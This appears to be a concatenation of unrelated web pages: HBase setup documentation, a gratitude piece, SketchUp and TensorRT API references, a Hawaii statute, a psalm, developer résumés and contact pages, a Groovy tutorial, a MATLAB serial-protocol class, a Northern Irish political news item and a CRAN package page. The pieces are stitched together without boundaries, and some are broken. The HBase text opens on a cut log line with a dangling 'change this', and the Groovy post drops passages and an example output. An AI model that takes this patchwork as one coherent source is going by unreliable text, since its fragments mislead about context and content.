2010-04-06 03:04:37,542 INFO org.apache.hadoop.hdfs.DFSClient: Exception increateBlockOutputStream java.io.EOFException 2010-04-06 03:04:37,542 INFO org.apache.hadoop.hdfs.DFSClient: Abandoning block blk_-6935524980745310745_1391901Do yourself a favor and change this to more than 10k. See the FAQ in the hbase wiki for how. Also, HDFS has an upper bound of files that it can serve at the same time, called xcievers (yes, this is misspelled). Again, before doing any loading, make sure you configured Hadoop's conf/hdfs-site.xml with this:
<property> <name>dfs.datanode.max.xcievers</name> <value>2047</value> </property>See the background of this issue here: Problem: "xceiverCount 258 exceeds the limit of concurrent xcievers 256". Failure to follow these instructions will result in data loss.
What follows presumes you have obtained a copy of HBase, see Releases, and are installing for the first time. If upgrading your HBase instance, see Upgrading.
Three modes are described: standalone, pseudo-distributed (where all servers are run on a single host), and fully-distributed. If new to HBase start by following the standalone instructions.
Begin by reading Requirements.
Whatever your mode, define ${HBASE_HOME}
to be the location of the root of your HBase installation, e.g.
/user/local/hbase
. Edit ${HBASE_HOME}/conf/hbase-env.sh
. In this file you can
set the heapsize for HBase, etc. At a minimum, set JAVA_HOME
to point at the root of
your Java installation.
If you are running a standalone operation, there should be nothing further to configure; proceed to Running and Confirming Your Installation. If you are running a distributed operation, continue reading.
Distributed modes require an instance of the Hadoop Distributed File System (DFS). See the Hadoop requirements and instructions for how to set up a DFS.
A pseudo-distributed mode is simply a distributed mode run on a single host. Use this configuration testing and prototyping on hbase. Do not use this configuration for production nor for evaluating HBase performance.
Once you have confirmed your DFS setup, configuring HBase for use on one host requires modification of
${HBASE_HOME}/conf/hbase-site.xml
, which needs to be pointed at the running Hadoop DFS instance.
Use hbase-site.xml
to override the properties defined in
${HBASE_HOME}/conf/hbase-default.xml
(hbase-default.xml
itself
should never be modified) and for HDFS client configurations.
At a minimum, the hbase.rootdir
,
which points HBase at the Hadoop filesystem to use,
and the dfs.replication
, an hdfs client-side
configuration stipulating how many replicas to keep up,
should be redefined in hbase-site.xml
. For example,
adding the properties below to your hbase-site.xml
says that HBase
should use the /hbase
directory in the HDFS whose namenode is at port 9000 on your local machine, and that
it should run with one replica only (recommended for pseudo-distributed mode):
<configuration> ... <property> <name>hbase.rootdir</name> <value>hdfs://localhost:9000/hbase</value> <description>The directory shared by region servers. </description> </property> <property> <name>dfs.replication</name> <value>1</value> <description>The replication count for HLog & HFile storage. Should not be greater than HDFS datanode count. </description> </property> ... </configuration>
Note: Let HBase create the directory. If you don't, you'll get warning saying HBase needs a migration run because the directory is missing files expected by HBase (it'll create them if you let it).
Also Note: Above we bind to localhost. This means that a remote client cannot connect. Amend accordingly, if you want to connect from a remote location.
For running a fully-distributed operation on more than one host, the following configurations must be made in addition to those described in the pseudo-distributed operation section above.
In hbase-site.xml
, set hbase.cluster.distributed
to true
.
<configuration> ... <property> <name>hbase.cluster.distributed</name> <value>true</value> <description>The mode the cluster will be in. Possible values are false: standalone and pseudo-distributed setups with managed Zookeeper true: fully-distributed with unmanaged Zookeeper Quorum (see hbase-env.sh) </description> </property> ... </configuration>
In fully-distributed mode, you probably want to change your hbase.rootdir
from localhost to the name of the node running the HDFS NameNode and you should set
the dfs.replication to be the number of datanodes you have in your cluster or 3, which
ever is the smaller.
In addition
to hbase-site.xml
changes, a fully-distributed mode requires that you
modify ${HBASE_HOME}/conf/regionservers
.
The regionserver
file lists all hosts running HRegionServer
s, one host per line
(This file in HBase is like the Hadoop slaves file at ${HADOOP_HOME}/conf/slaves
).
A distributed HBase depends on a running ZooKeeper cluster. All participating nodes and clients
need to be able to get to the running ZooKeeper cluster.
HBase by default manages a ZooKeeper cluster for you, or you can manage it on your own and point HBase to it.
To toggle HBase management of ZooKeeper, use the HBASE_MANAGES_ZK
variable in ${HBASE_HOME}/conf/hbase-env.sh
.
This variable, which defaults to true
, tells HBase whether to
start/stop the ZooKeeper quorum servers alongside the rest of the servers.
When HBase manages the ZooKeeper cluster, you can specify ZooKeeper configuration
using its canonical zoo.cfg
file (see below), or
just specify ZookKeeper options directly in the ${HBASE_HOME}/conf/hbase-site.xml
(If new to ZooKeeper, go the path of specifying your configuration in HBase's hbase-site.xml).
Every ZooKeeper configuration option has a corresponding property in the HBase hbase-site.xml
XML configuration file named hbase.zookeeper.property.OPTION
.
For example, the clientPort
setting in ZooKeeper can be changed by
setting the hbase.zookeeper.property.clientPort
property.
For the full list of available properties, see ZooKeeper's zoo.cfg
.
For the default values used by HBase, see ${HBASE_HOME}/conf/hbase-default.xml
.
At minimum, you should set the list of servers that you want ZooKeeper to run
on using the hbase.zookeeper.quorum
property.
This property defaults to localhost
which is not suitable for a
fully distributed HBase (it binds to the local machine only and remote clients
will not be able to connect).
It is recommended to run a ZooKeeper quorum of 3, 5 or 7 machines, and give each
ZooKeeper server around 1GB of RAM, and if possible, its own dedicated disk.
For very heavily loaded clusters, run ZooKeeper servers on separate machines from the
Region Servers (DataNodes and TaskTrackers).
To point HBase at an existing ZooKeeper cluster, add
a suitably configured zoo.cfg
to the CLASSPATH
.
HBase will see this file and use it to figure out where ZooKeeper is.
Additionally set HBASE_MANAGES_ZK
in ${HBASE_HOME}/conf/hbase-env.sh
to false
so that HBase doesn't mess with your ZooKeeper setup:
... # Tell HBase whether it should manage it's own instance of Zookeeper or not. export HBASE_MANAGES_ZK=false
As an example, to have HBase manage a ZooKeeper quorum on nodes rs{1,2,3,4,5}.example.com, bound to port 2222 (the default is 2181), use:
${HBASE_HOME}/conf/hbase-env.sh: ... # Tell HBase whether it should manage it's own instance of Zookeeper or not. export HBASE_MANAGES_ZK=true ${HBASE_HOME}/conf/hbase-site.xml: <configuration> ... <property> <name>hbase.zookeeper.property.clientPort</name> <value>2222</value> <description>Property from ZooKeeper's config zoo.cfg. The port at which the clients will connect. </description> </property> ... <property> <name>hbase.zookeeper.quorum</name> <value>rs1.example.com,rs2.example.com,rs3.example.com,rs4.example.com,rs5.example.com</value> <description>Comma separated list of servers in the ZooKeeper Quorum. For example, "host1.mydomain.com,host2.mydomain.com,host3.mydomain.com". By default this is set to localhost for local and pseudo-distributed modes of operation. For a fully-distributed setup, this should be set to a full list of ZooKeeper quorum servers. If HBASE_MANAGES_ZK is set in hbase-env.sh this is the list of servers which we will start/stop ZooKeeper on. </description> </property> ... </configuration>
When HBase manages ZooKeeper, it will start/stop the ZooKeeper servers as a part of the regular start/stop scripts. If you would like to run it yourself, you can do:
${HBASE_HOME}/bin/hbase-daemons.sh {start,stop} zookeeper
If you do let HBase manage ZooKeeper for you, make sure you configure where it's data is stored. By default, it will be stored in /tmp which is sometimes cleaned in live systems. Do modify this configuration:
<property> <name>hbase.zookeeper.property.dataDir</name> <value>${hbase.tmp.dir}/zookeeper</value> <description>Property from ZooKeeper's config zoo.cfg. The directory where the snapshot is stored. </description> </property>
Note that you can use HBase in this manner to spin up a ZooKeeper cluster,
unrelated to HBase. Just make sure to set HBASE_MANAGES_ZK
to
false
if you want it to stay up so that when HBase shuts down it
doesn't take ZooKeeper with it.
For more information about setting up a ZooKeeper cluster on your own, see the ZooKeeper Getting Started Guide. HBase currently uses ZooKeeper version 3.3.1, so any cluster setup with a 3.x.x version of ZooKeeper should work.
Of note, if you have made HDFS client configuration on your Hadoop cluster, HBase will not see this configuration unless you do one of the following:
HADOOP_CONF_DIR
to CLASSPATH
in hbase-env.sh
.hdfs-site.xml
(or hadoop-site.xml
) to ${HBASE_HOME}/conf
, orhbase-site.xml
.An example of such an HDFS client configuration is dfs.replication
. If for example,
you want to run with a replication factor of 5, hbase will create files with the default of 3 unless
you do the above to make the configuration available to HBase.
If you are running in standalone, non-distributed mode, HBase by default uses the local filesystem.
If you are running a distributed cluster you will need to start the Hadoop DFS daemons and ZooKeeper Quorum before starting HBase and stop the daemons after HBase has shut down.
Start and stop the Hadoop DFS daemons by running ${HADOOP_HOME}/bin/start-dfs.sh
.
You can ensure it started properly by testing the put and get of files into the Hadoop filesystem.
HBase does not normally use the mapreduce daemons. These do not need to be started.
Start up your ZooKeeper cluster.
Start HBase with the following command:
${HBASE_HOME}/bin/start-hbase.sh
Once HBase has started, enter ${HBASE_HOME}/bin/hbase shell
to obtain a
shell against HBase from which you can execute commands.
Type 'help' at the shells' prompt to get a list of commands.
Test your running install by creating tables, inserting content, viewing content, and then dropping your tables.
For example:
hbase> # Type "help" to see shell help screen hbase> help hbase> # To create a table named "mylittletable" with a column family of "mylittlecolumnfamily", type hbase> create "mylittletable", "mylittlecolumnfamily" hbase> # To see the schema for you just created "mylittletable" table and its single "mylittlecolumnfamily", type hbase> describe "mylittletable" hbase> # To add a row whose id is "myrow", to the column "mylittlecolumnfamily:x" with a value of 'v', do hbase> put "mylittletable", "myrow", "mylittlecolumnfamily:x", "v" hbase> # To get the cell just added, do hbase> get "mylittletable", "myrow" hbase> # To scan you new table, do hbase> scan "mylittletable"
To stop HBase, exit the HBase shell and enter:
${HBASE_HOME}/bin/stop-hbase.sh
If you are running a distributed operation, be sure to wait until HBase has shut down completely before stopping the Hadoop daemons.
The default location for logs is ${HBASE_HOME}/logs
.
HBase also puts up a UI listing vital attributes. By default its deployed on the master host at port 60010 (HBase RegionServers listen on port 60020 by default and put up an informational http server at 60030).
After installing a new HBase on top of data written by a previous HBase version, before
starting your cluster, run the ${HBASE_DIR}/bin/hbase migrate
migration script.
It will make any adjustments to the filesystem data under hbase.rootdir
necessary to run
the HBase version. It does not change your install unless you explicitly ask it to.
For sample Java code, see org.apache.hadoop.hbase.client documentation.
If your client is NOT Java, consider the Thrift or REST libraries.


You are alive and you can read this, be thankful, there is a lot of dead forgotten people out there.
You can think and distinguish between the bad and the good, you are not fool, be thankful.
You can see this beautiful world, you have two eyes,there are countless blind human being, be thankful.

You have hands you can touch anything you like, be thankful.
You have parents, think about the ones who don’t, be thankful.
You have a house, think about the homeless people, be thankful.
You are educated, be thankful.
Even if you don’t have some of the previous things, think about the things you have and others don’t, be thankful.
If you are like me, i assume you won’t sold your eyes and some other parts(at least)of your body for any amount of money, congratulation you are rich, be Thankful.
Life is too short, stop complaining and be thankful.
…… and the list goes on, in fact you can’t count the number of things that you should be thankful for, therefore be thankful, i’m sure good things are coming our way.
Thanks for you time and hope you find it a gentle reminder.


atomjs.org
Welcome to atomjs!
This is an example site built with atom. It demonstrates public and private content plus navigation and error handling.
You'll need to configure your server to always return the bootstrap.html page for every request. This enables front routing on the client.
Try clicking on Admin, you'll be directed to login. To login, just click the Sign In button (no credentials needed).
Try entering a url which doesn't exist, you'll see the 404 template.
Sign In


Class: SketchupExtension
| Relationships | |
| Inherits: | Object |
Overview
The SketchupExtension class contains methods allowing you to create and manipulate SketchUp extensions. Extensions are Ruby scripts that can be loaded and unloaded using the Extension manager (Extensions panel of the Preferences dialog box). Generally you should register your ruby scripts as an extension to give SketchUp users the ability to disable it through the user interface.
The idea here is to take the ruby script that actually creates your functionality and place it in a folder somewhere outside of the /Plugins folder, most commonly a subdirectory like /Plugins/MyExtension. Then you create a new ruby script inside the /Plugins directory that will set up the extension entry and load your original script if the user has your extension turned on.
Here is an example extension loading script. For this example, the following code would be saved in /Plugins/StairTools.rb, and the actual plugin itself would live in /Plugins/StairTools/core.rb.
You can find two example extensions that ship with SketchUp, su_dynamiccomponents.rb and su_sandboxtools.rb, under the /Plugins/ folder.
Class Method Summary
-
.new(title, path) ⇒ SketchupExtension
constructor
The new method is used to create a new
SketchupExtension
object.
Instance Attribute Summary
-
#copyright ⇒ String
rw
The copyright method returns the copyright string which appears beneath an extension inside the Extensions Manager dialog.
-
#copyright=(copyright) ⇒ String
rw
The copyright= method sets the copyright string which appears beneath an extension inside the Extensions Manager dialog.
-
#creator ⇒ String
rw
The creator method returns the creator string which appears beneath an extension inside the Extensions Manager dialog.
-
#creator=(creator) ⇒ String
rw
The creator= method sets the creator string which appears beneath an extension inside the Extensions Manager dialog.
-
#description ⇒ String
rw
The description method returns the long description which appears beneath an extension inside the Extensions Manager dialog.
-
#description=(description) ⇒ String
rw
The description= method sets the long description which appears beneath an extension inside the Extensions Manager dialog.
-
#load_on_start? ⇒ Boolean
readonly
Returns whether the extension is set to load when SketchUp starts up.
-
#loaded? ⇒ Boolean
readonly
Returns whether the extension is currently loaded, meaning the actual ruby script that implements the extension has been evaluated.
-
#name ⇒ String
rw
The name method returns the name which appears for an extension inside the Extensions Manager dialog.
-
#name=(name) ⇒ String
rw
The name= method sets the name which appears for an extension inside the Extensions Manager dialog.
-
#registered? ⇒ Boolean
readonly
Returns whether the extension has been registered via
::Sketchup
.register_extension. -
#version ⇒ String
rw
The version method returns the version which appears beneath an extension inside the Extensions Manager dialog.
-
#version=(version) ⇒ String
rw
The version method sets the version which appears beneath an extension inside the Extensions Manager dialog.
Instance Method Summary
-
#check ⇒ Boolean
Loads the extension, meaning the underlying ruby script is immediately interpreted.
-
#extension_path ⇒ String
The extension_path method returns the file system path to the extension’s outer rb file.
-
#id ⇒ String
The id method returns the Extension Warehouse ID string.
-
#uncheck ⇒ Boolean
Unloads the extension.
-
#version_id ⇒ String
The version_id method returns the Extension Warehouse Version ID string.
Constructor Details
.new(title, path) ⇒ SketchupExtension
It is recommended to omit the file extension provided in the path
argument. SketchUp will resolve the file extension to .rbe
, .rbs
or .rb
.
The new method is used to create a new SketchupExtension
object. Note that once the extension object is created, it will not appear in the Extension Manager dialog until your register it with the ::Sketchup
.register_extension method.
Instance Attribute Details
#copyright ⇒ String (rw)
The copyright method returns the copyright string which appears beneath an extension inside the Extensions Manager dialog.
#copyright=(copyright) ⇒ String (rw)
The copyright= method sets the copyright string which appears beneath an extension inside the Extensions Manager dialog.
#creator ⇒ String (rw)
The creator method returns the creator string which appears beneath an extension inside the Extensions Manager dialog.
#creator=(creator) ⇒ String (rw)
The creator= method sets the creator string which appears beneath an extension inside the Extensions Manager dialog.
#description ⇒ String (rw)
The description method returns the long description which appears beneath an extension inside the Extensions Manager dialog.
#description=(description) ⇒ String (rw)
The description= method sets the long description which appears beneath an extension inside the Extensions Manager dialog.
#load_on_start? ⇒ Boolean
(readonly)
Returns whether the extension is set to load when SketchUp starts up.
#loaded? ⇒ Boolean
(readonly)
Returns whether the extension is currently loaded, meaning the actual ruby script that implements the extension has been evaluated.
#name ⇒ String (rw)
The name method returns the name which appears for an extension inside the Extensions Manager dialog.
#name=(name) ⇒ String (rw)
The name= method sets the name which appears for an extension inside the Extensions Manager dialog.
#registered? ⇒ Boolean
(readonly)
Returns whether the extension has been registered via ::Sketchup
.register_extension.
#version ⇒ String (rw)
The version method returns the version which appears beneath an extension inside the Extensions Manager dialog.
#version=(version) ⇒ String (rw)
The version method sets the version which appears beneath an extension inside the Extensions Manager dialog.
Instance Method Details
#check ⇒ Boolean
Loads the extension, meaning the underlying ruby script is immediately interpreted. This is the equivalent of checking the extension’s checkbox in the Preferences > Extensions list.
#extension_path ⇒ String
The extension_path method returns the file system path to the extension’s outer rb file.
#id ⇒ String
The id method returns the Extension Warehouse ID string.
#uncheck ⇒ Boolean
Unloads the extension. This is the equivalent of unchecking the extension’s checkbox in the Preferences > Extensions list.
Note that technically the extension is not “unloaded” in the sense that it stops running during the current SketchUp session, but the next time the user restarts SketchUp, the extension will not be active.
#version_id ⇒ String
The version_id method returns the Extension Warehouse Version ID string.


§656-2 Consideration need not be in writing. The consideration of any such promise, contract, or agreement, need not be set forth, or expressed, in the writing signed by the party to be charged therewith, but may be proved by any other legal evidence. [CC 1859, §1054; RL 1925, §2666; RL 1935, §3901; RL 1945, §8722; RL 1955, §190-2; HRS §656-2]
Case Notes
Concerning a guarantor. 4 H. 47 (1877). Cf. 31 H. 34 (1929).


PSALMS 52
A psalm written by David for the choir director when Doeg went to Saul and said, "David has gone to talk with Ahimelech, the high priest."

8 But I am secure because I worship in God's temple;
I am like a strong green olive tree.
I trust in God, who faithfully loves us forever.
9 God, I will always thank you for destroying the wicked.
As I stand before godly people, I will proclaim that you are good.


Contact Info:
Mail<EMAIL_ADDRESS>Github: @CamiloTD
2008
- Started with
Low Level Programming at 10 year old, modifying Pokémon GBA ROMS at
Whack A Hack Pokemon.
2011
- Started learning the
HTML fundaments at
HTML Ya and started programming front-end websites at my own with some friends.
2012
- Started learning
Java at
Java Ya and creating animations and basic games for my school with
Adobe Flash
2013
- Started studying Software Engineering in
PCA.
In the same year.
- Started mantaining my own
Pokemon Online server, written in
C++ (QT) extended by a very simple Javascript scripts.
2015
- Started using Node.js. I closed my Pokemon Online Server and moved to
Pokemon Showdown that was written in Node.js.
- Developed my Technology Graduation Project in Node.js (A new steganography algorithm for hiding bytes in mp3 silences)
2016
- I Left my university for dedicating full time to study many subjects.
- Acquired deep knowledge about
Genetic Algorithms
- Started acquiring theoretical & mathematical knowledge about Neural Networks.
- Got my first freelance jobs at
Freelancer.
- Developed a Poker Playing bot in Node.js for
Poker Mavens.
2017
- Started learning about Bitcoin and Cryptocoins in the financial way.
- Kept working as Backend freelancer (Node.js) for some Iranian guys.
- Administered mining pools and created remote administration
2018
- Started organizing myself and created my main Github account
@CamiloTD.
- Got my first prescencial job at iSOFACT and started working with agile technologies
React,
Docker,
CIs, etc...
- Started few personal projects including my main library and base framework for my development
Unete.io.
- Entered working at
Dexfreight and implemented
Unete.io as the project core.
2019
- Started learning SCRUM and agile development metodologies
- Started developing smart contracts and my personal blockchain library (Still in progress)
Unete Eth
- Continued studies on Machine Learning and started learning state of the art libraries as
Tensorflow and Keras


--- layout: post status: publish published: true title: Groovy Programming Language author: display_name: Geoff Lane login: admin email<EMAIL_ADDRESS>url: http://www.zorched.net author_login: admin author_email<EMAIL_ADDRESS>author_url: http://www.zorched.net date: '2007-03-03 11:02:08 -0500' date_gmt: '2007-03-03 17:02:08 -0500' categories: - Code - Java tags: [] comments: [] ---
Welcome to the disco era...wait, wrong Groovy. Groovy the programming language is dynamic programming language that runs on the Java Virtual Machine. At a first glance it looks a lot like Ruby, but it's built from the ground up to leverage the JVM. This offers a lot of power as a transitional language. It allows you to leverage an existing investment in Java code while transitioning to a powerful, dynamic language.
The quintessential example: {% highlight groovy %} public class Hello { public static void main(String[] args) { System.out.println("Hello"); } } {% endhighlight %}
Is that Java code or Groovy code? In fact it's both. So what's the big deal?
Well, in Groovy you can write the same thing like: {% highlight groovy %} println("Hello") {% endhighlight %}
To steal Venkat Subramaniam's joke: If you get paid by lines of code, this is a terrible thing.
This code separates the concept of iterating from what you want to do with the elements that are iterated over. This makes for great reusability. {% highlight groovy %} public iterate(count, closure) { for (i in 0..count) closure(i) } iterate(5) { println it } val = 0 iterate(5) { val += it } {% endhighlight %}
Of course this kind of thing is built into the existing collections as well.
{% highlight groovy %} myNums = [1, 3, 5, 7, 9, 13] myNums.each { curNum -> println curNum } {% endhighlight %}In the case of the HashMap it interprets the new "method call" as your way of asking for the value from the Hash. Of course there are many other ways that you can use this as well. You can dynamically respond to methods on any class.
{% highlight groovy %} class Thing { def invokeMethod(String name, args) { println "I'm #{name}ing!" } } {% endhighlight %}Of course this is a silly example, but it's utilized to great effect in the XML Builder. {% highlight groovy %} baseball = ['Milwaukee' : 'Brewers', 'Chicago' : 'White Sox'] bldr = new groovy.xml.MarkupBuilder() xml = bldr.teams { baseball.each { key, value -> team(city : key) { name (value) } } } {% endhighlight %}
Gives you:
{% highlight xml %}
Isn't that a nice way to write XML?


Contents
classdef BinaryMessage < handle
% BINARYMESSAGE Helper class for Zaber Binary protocol messages. % This class helps serialize and deserialize 6-byte binary messages % used by the Zaber Binary protocol into their constituent parts. % % See also BinaryProtocol, Device, BinaryDevice % Author: Zaber Technologies Software Team<EMAIL_ADDRESS>Public instance properties
properties % DEVICENO The address of a device being addressed. % For requests this will be the device the command is addressed % to, in the range of 1-99, or 0 to address all devices. % In replies this will be the address of the device responding. DeviceNo % COMMAND The command being issued or responded to. % Legal values are 0-255. See the Zaber Binary Protocol % Manual for the meanings of the values: % http://www.zaber.com/wiki/Manuals/Binary_Protocol_Manual or use % the Zaber.BinaryCommandType enumeration. % % See also Data, Zaber.BinaryCommandType, Zaber.BinaryReplyType Command % MESSAGEID Optional message ID for correlating messages. % If message ID mode is enabled on a device, this value will % be echoed back by the device in its replies. Otherwise % the value should be zero. Note that use of message IDs % reduces the number of data bits available from 32 to 24. % % See also Data MessageId % DATA Data payload for requests and responses. % A signed integer. 32 bits, or 24 bits if message ID mode is % enabled, in which case this property is automatically % sign-extended to 32 bits after deserialization. % % See also Command, MessageId Data % ISERROR True if this message represents a device error state. IsError % MESSAGETYPE Identifies whether this message is a request (a % command for a device) or a response (a reply from the device). MessageType end
Public instance methods
methods function obj = BinaryMessage(aDeviceNumber, aCommand, aData, aMessageId) % BINARYMESSAGE Construct a BinaryMessage object from values. % message = Zaber.BINARYMESSAGE(address, command, data) % message = Zaber.BINARYMESSAGE(address, command, data, messageid) % % address - The daisy chain address of the device to talk to. % command - The command or reply code for the message. % data - The data payload. Use 0 when not applicable. % messageid - Optional message ID. % % This function constructs an instance of the BinaryMessage % class with its properties initialized. See the property % descriptions for information about the corresponding arguments. % % NOTE % The message ID argument is optional and should only be used if % message ID mode is enabled on the device the command is being % sent to. if ((aDeviceNumber < 0) || (aDeviceNumber > 99)) error('Zaber:BinaryMessage:badDeviceNo', ... 'Zaber device IDs must range from 0 to 99.'); end obj.DeviceNo = uint8(aDeviceNumber); obj.MessageType = Zaber.MessageType.Request; if ((aCommand < 0) || (aCommand > 255)) error('Zaber:Binarymessage:badCommandNo', ... 'Zaber binary command numbers must range from 0 to 255.'); end obj.Command = uint8(aCommand); obj.IsError = (obj.Command == Zaber.BinaryReplyType.Error); val = int32(aData); if (nargin < 4) obj.MessageId = uint8(0); else if ((aMessageId < 0) || (aMessageId > 255)) error('Zaber:BinaryMessage:badMessageId', ... 'Message IDs must be in the range of 0 to 255.'); end obj.MessageId = uint8(aMessageId); end obj.Data = val; end function bytes = serialize(obj) % SERIALIZE Convert to an array of bytes suitable for transmission. % bytes = message.SERIALIZE() % % Returns an array of six bytes ready to be transmitted to a % Zaber device using the Binary protocol. % % If the MessageId property is nonzero, this will truncate the % Data value to 24 bits and throw an error if doing so would % cause data loss. % % See also deserialize bytes = [ obj.DeviceNo obj.Command ]; val = int64(obj.Data); if (val < 0) val = val + 256^4; end val = uint32(val); maxData = intmax('uint32'); if (obj.MessageId > 0) maxData = 256 ^ 3 - 1; end if ((val < 0) || (val > maxData)) error('Zaber:BinaryMessage:serialize:outOfRange', ... 'Data value ' + num2str(obj.Data) + ' cannot be represented.'); end if (obj.MessageId > 0) for (i = 1:3) byte = bitand(val, 255); bytes = [bytes byte]; val = bitshift(val, -8); end bytes = [ bytes obj.MessageId ]; else for (i = 1:4) byte = bitand(val, 255); bytes = [bytes byte]; val = bitshift(val, -8); end end end end
Public static methods
methods (Static) function obj = deserialize(aBytes, aMessageIdsEnabled) % DESERIALIZE Convert an array of bytes to a BinaryMessage instance. % message = Zaber.BinaryMessage.DESERIALIZE(bytes) % message = Zaber.BinaryMessage.DESERIALIZE(bytes, hasid) % % bytes - An array of six bytes received from a device. % hasid - Optional. Pass in true if the device is using % message IDs. This will cause the ID to be separated % from the data. % message - The deserialized BinaryMessage instance. % % Given an array of 6 values in the range of 0 to 255, this % will construct a corresponding BinaryMessage class with the % properties filled in accordingly. Use this to convert reply % data from a device into a more convenient form. % % NOTE: It is not possible to tell from the data directly if % message ID mode is enabled on the device, so the caller must % pass in true for the optional ID enabled argument if that mode % is in use. In that case, the MessageId field will be filled in % and the data payload will be sign-extended from 24 to 32 bits. % % See also serialize if (length(aBytes) ~= 6) error('Zaber:BinaryMessage:deserialize:badPacketLength', ... 'Binary packets must have 6 bytes'); end for (i = 1:6) if ((aBytes(i) < 0) || (aBytes(i) > 255)) error('Zaber:Binarymessage:deserialize:badDataType', ... 'Binary packet elements must be representable as bytes.'); end end deviceNumber = aBytes(1); command = aBytes(2); data = int32(0); if ((nargin > 1) && aMessageIdsEnabled()) messageId = aBytes(6); for (i = 5:-1:3) data = bitshift(data, 8) + aBytes(i); end data = bitshift(bitshift(data, 8), -8); % Sign extend obj = Zaber.BinaryMessage(deviceNumber, command, data, messageId); obj.MessageType = Zaber.MessageType.Response; else for (i = 6:-1:3) data = bitshift(data, 8) + int32(aBytes(i)); end obj = Zaber.BinaryMessage(deviceNumber, command, data); obj.MessageType = Zaber.MessageType.Response; end end end
end


Jeffrey M. Clegg
Full Stack Developer
Home
About
Projects
Resume
Contact Me
Contact Me
(313)549-6631
<EMAIL_ADDRESS>www.linkedin.com/in/jeffrey-clegg-3058461b0/
github.com/JC72


Sign Up
It's free and always will be
Birthday
Month
Jan
Feb
Mar
Apr
May
Jun
Jul
Aug
Sep
Oct
Nov
Dec
Day
1
2
3
4
5
6
7
Year
1981
1980
1979
1978
1977
1976
1975
Why do I need to provide my birthday?
Female
Male


Software Engineer based in Austin, TX. A keen interest in blending logic with the creative nature of programming drives the intuitive design I strive to create.
ContactCalling four continents 'home', I've traveled and discovered untapped opportunities in various cultures. Building out the solutions to these issues inspires my insatiable desire to learn. When I'm not creating, I'm constantly outdoors exploring new adventures.
See What Inspires Me


DUP HQ expected to choose Upper Bann candidate because constituency association doesn't have enough members
DUP headquarters looks likely to choose the party's candidate to contest Upper Bann in the Westminster election after it emerged that the constituency association does not have the necessary number of paid up members.
Sitting MP David Simpson, whose extra-marital affair with a party colleague had been exposed by a Sunday tabloid, announced on Wednesday that he would not be standing again.
The DUP chief executive Timothy Johnston wrote to party members in Upper Bann earlier this week saying that, because there were not 40 paid up members in the constituency, candidate selection would be conducted by "party officers".
The DUP has said it does not comment on internal processes.
Meanwhile, former Labour MP Kate Hoey has dismissed speculation that she may run in Fermanagh and South Tyrone.
It had been suggested in some quarters that the Brexit-supporting former Vauxhall MP would contest the north's most westerly constituency as a united unionist candidate if the UUP's Tom Elliott did not run.
Last night however Ms Hoey told The Irish News that the speculation was "nonsense".


Methods for decomposing seasonal data: STR (a Seasonal-Trend decomposition procedure based on Regression) and Robust STR. In some ways, STR is similar to Ridge Regression and Robust STR can be related to LASSO. They allow for multiple seasonal components, multiple linear covariates with constant, flexible and seasonal influence. Seasonal patterns (for both seasonal components and seasonal covariates) can be fractional and flexible over time; moreover they can be either strictly periodic or have a more complex topology. The methods provide confidence intervals for the estimated components. The methods can be used for forecasting.
| Version: | 0.4 |
| Depends: | R (≥ 3.2.2) |
| Imports: | compiler, Matrix, SparseM, quantreg, forecast, foreach, stats, methods, graphics, grDevices, rgl |
| Suggests: | testthat, demography, knitr, rmarkdown, doParallel, doMC, seasonal |
| Published: | 2018-05-18 |
| Author: | Alexander Dokumentov, Rob J Hyndman |
| Maintainer: | Alexander Dokumentov <alexander.dokumentov at gmail.com> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | https://bitbucket.org/alexanderdokumentov/strpackage |
| NeedsCompilation: | no |
| Materials: | ChangeLog |
| In views: | TimeSeries |
| CRAN checks: | stR results |
| Reference manual: | stR.pdf |
| Vignettes: |
Package stR |
| Package source: | stR_0.4.tar.gz |
| Windows binaries: | r-devel: stR_0.4.zip, r-release: stR_0.4.zip, r-oldrel: stR_0.4.zip |
| OS X binaries: | r-release: stR_0.4.tgz, r-oldrel: stR_0.4.tgz |
| Old sources: | stR archive |
Please use the canonical form https://CRAN.R-project.org/package=stR to link to this page.


|
TensorRT
<IP_ADDRESS>
|
Layer type for shuffling data. More...
#include <NvInfer.h>
Public Member Functions | |
| virtual void | setFirstTranspose (Permutation permutation)=0 |
| Set the permutation applied by the first transpose operation. More... | |
| virtual Permutation | getFirstTranspose () const =0 |
| Get the permutation applied by the first transpose operation. More... | |
| virtual void | setReshapeDimensions (Dims dimensions)=0 |
| Set the reshaped dimensions. More... | |
| virtual Dims | getReshapeDimensions () const =0 |
| Get the reshaped dimensions. More... | |
| void | setInput (int index, ITensor &tensor) _TENSORRT_OVERRIDE=0 |
| Relaxes ILayer::setInput to allow appending a second input. More... | |
| virtual void | setSecondTranspose (Permutation permutation)=0 |
| Set the permutation applied by the second transpose operation. More... | |
| virtual Permutation | getSecondTranspose () const =0 |
| Get the permutation applied by the second transpose operation. More... | |
| Public Member Functions inherited from nvinfer1::ILayer | |
| virtual LayerType | getType () const =0 |
| Return the type of a layer. More... | |
| virtual void | setName (const char *name)=0 |
| Set the name of a layer. More... | |
| virtual const char * | getName () const =0 |
| Return the name of a layer. More... | |
| virtual int | getNbInputs () const =0 |
| Get the number of inputs of a layer. | |
| virtual ITensor * | getInput (int index) const =0 |
| Get the layer input corresponding to the given index. More... | |
| virtual int | getNbOutputs () const =0 |
| Get the number of outputs of a layer. | |
| virtual ITensor * | getOutput (int index) const =0 |
| Get the layer output corresponding to the given index. More... | |
| virtual void | setPrecision (DataType dataType)=0 |
| Set the computational precision of this layer. More... | |
| virtual DataType | getPrecision () const =0 |
| get the computational precision of this layer More... | |
| virtual bool | precisionIsSet () const =0 |
| whether the computational precision has been set for this layer More... | |
| virtual void | resetPrecision ()=0 |
| reset the computational precision for this layer More... | |
| virtual void | setOutputType (int index, DataType dataType)=0 |
| Set the output type of this layer. More... | |
| virtual DataType | getOutputType (int index) const =0 |
| get the output type of this layer More... | |
| virtual bool | outputTypeIsSet (int index) const =0 |
| whether the output type has been set for this layer More... | |
| virtual void | resetOutputType (int index)=0 |
| reset the output type for this layer More... | |
Layer type for shuffling data.
This class shuffles data by applying in sequence: a transpose operation, a reshape operation and a second transpose operation. The dimension types of the output are those of the reshape dimension.
The layer has an optional second input. If present, it must be a 1D Int32 shape tensor, and the reshape dimensions are taken from it.
|
pure virtual |
Get the permutation applied by the first transpose operation.
|
pure virtual |
Get the reshaped dimensions.
If there is a second input, returns Dims with nbDims == -1.
|
pure virtual |
Get the permutation applied by the second transpose operation.
|
pure virtual |
Set the permutation applied by the first transpose operation.
